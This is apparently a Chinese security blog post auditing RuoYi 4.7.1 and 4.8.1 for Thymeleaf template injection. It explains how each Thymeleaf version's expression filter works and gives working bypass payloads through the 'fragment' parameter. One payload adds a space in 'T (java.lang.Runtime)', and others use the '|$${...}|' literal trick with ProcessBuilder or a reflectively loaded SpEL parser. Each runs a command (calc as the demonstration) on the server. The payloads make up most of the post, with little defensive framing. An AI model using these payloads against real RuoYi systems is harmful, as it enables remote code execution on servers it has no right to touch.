【代码审计】RuoYi-4.7.1&4.8.1 Thymeleaf模板注入分析

目录

[V 4.7.1](#V 4.7.1)

[V 4.8.1](#V 4.8.1)


V 4.7.1

用的是3.0.12的Thymeleaf依赖

该版本对新建类有一些限制

https://github.com/thymeleaf/thymeleaf/issues/809

这三个路由都可以从fragment处打入thymeleaf ssti

打入payload:

复制代码
fragment=${T (java.lang.Runtime).getRuntime().exec("calc")}

来分析下为什么要这么构造payload:

3.0.12的Thymeleaf要求不能containsSpELInstantiationOrStatic

作用是 检测一个 SpEL表达式中是否包含对象实例化(如 new SomeClass(...))或静态方法调用(如 T(SomeClass).method())。

首先是把独立的new给ban了,也不允许出现T(xxx)

可以加个空格,用T (xxx)来进行绕过

V 4.8.1

用的是3.0.15的Thymeleaf依赖

来看下区别

用于检测字符串中是否存在以 $、*、#、@ 或 ~ 开头、后跟空白字符或者{,如果以该格式,则不允许

可以这么绕过

复制代码
|$${new.java.lang.ProcessBuilder('calc').start()}|

等效于

复制代码
'$' + ${new.java.lang.ProcessBuilder('calc').start()}

打入payload:

复制代码
fragment=|$${new.java.lang.ProcessBuilder('calc').start()}|

或者

复制代码
fragment=|$${''.getClass().forName('org.'+'springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}|
相关推荐
吴声子夜歌12 分钟前
正则指引——匹配原理
java·正则表达式
未秃头的程序猿1 小时前
凌晨3点被叫醒:线上OOM,我用这套流程40分钟定位根因
java·jvm·后端
letisgo51 小时前
JDK21 + Spring AI 2.0 入场指南:2026 年 Java 开发者 AI 架构全景图
java·ai·idea·jdk21
白仑色1 小时前
Spring Boot 从切面统一控制事务
java·spring boot·aop·spring事务
Flynt1 小时前
Java并行流,让我debug了一整天
java
DFT计算杂谈1 小时前
FeSe超薄膜在CaF2衬底上的电子结构DFT研究
java·服务器·前端
circuitsosk2 小时前
长文本与高并发下的Token“瘦身”策略:Prompt压缩与上下文窗口优化
java·前端·python·prompt·上下文窗口·token优化
AI创界者2 小时前
【网络安全运维】Kali Linux 下 Medusa(美杜莎)工具的高效部署、故障排查与安全测试实战
linux·运维·web安全
岁岁养乐多2 小时前
LangChain4j 工厂模式
java·开发语言
小小小米粒2 小时前
idea常用搭配
java